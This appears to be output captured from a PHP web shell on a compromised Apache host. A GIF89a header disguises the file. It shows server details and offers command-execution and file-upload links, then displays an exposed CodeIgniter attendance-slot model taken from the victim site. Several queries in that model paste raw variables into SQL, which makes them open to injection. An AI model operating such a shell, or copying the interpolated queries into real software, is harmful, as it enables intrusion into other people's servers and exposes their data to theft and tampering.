GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.17.179.132 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Description of SlotManagement * * @author Softpro India Pvt. Ltd. */ class SlotManagement extends CI_Model { function createNewSlot(array $slotDetails) { $this->db->insert("tbl_slot_master", $slotDetails); return $this->db->insert_id(); } function updateSlotInfo(array $slotDetails, $slot_id) { $this->db->where("slot_id", $slot_id); return $this->db->update("tbl_slot_master", $slotDetails); } function getAllSlots($slot_active_status = '', $slot_delete_status = '', $order = '') { $this->db->select("*,CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_slot_master TSM'); $this->db->join('tbl_staff_members TSMA', 'TSM.slot_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TSM.slot_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); if ($slot_active_status != '') { $this->db->where("TSM.slot_active_status", $slot_active_status); } if ($slot_delete_status != '') { $this->db->where("TSM.slot_delete_status", $slot_delete_status); } if ($order != '') { $this->db->order_by("TSM.slot_name", $order); } else { $this->db->order_by("TSM.slot_updated_on", "desc"); } return $this->db->get(); } function getSlotInfoByName($slotName, $slot_id = '') { $this->db->select("*"); $this->db->from("tbl_slot_master"); $this->db->where("slot_name", $slotName); if ($slot_id != '') { $this->db->where("slot_id", $slot_id); } return $this->db->get(); } function getSlotInfoBy($slot_id) { $this->db->select("*"); $this->db->from("tbl_slot_master"); $this->db->where("slot_id", $slot_id); return $this->db->get(); } function isSlotNameSafeUpdate($slot_id = '', $slot_name = '') { $this->db->select("*"); $this->db->from("tbl_slot_master"); if ($slot_id != '') { $this->db->where("slot_id NOT IN ('$slot_id')"); } if ($slot_name != '') { $this->db->where("slot_name", $slot_name); } return $this->db->get(); } function getNonAllocatedSlotsBy($session, $subject, $smember_id, $date) { $this->db->select("*"); $this->db->from("tbl_slot_master"); $this->db->where("slot_id NOT IN (SELECT slot_id from student_attendance_mst where smember_id ='$smember_id' AND sta_id = '$subject' AND session_id = '$session' AND DATE(sam_date)='$date' )"); $this->db->where("slot_active_status","T"); $this->db->where("slot_delete_status","F"); $this->db->order_by("slot_name", "ASC"); return $this->db->get(); } function getAllocatedSlotsBy($session, $subject, $smember_id, $date) { $this->db->select("*"); $this->db->from("tbl_slot_master"); $this->db->where("slot_id IN (SELECT slot_id from student_attendance_mst where smember_id ='$smember_id' AND sta_id = '$subject' AND session_id = '$session' AND DATE(sam_date)='$date' )"); $this->db->order_by("slot_name", "ASC"); return $this->db->get(); } }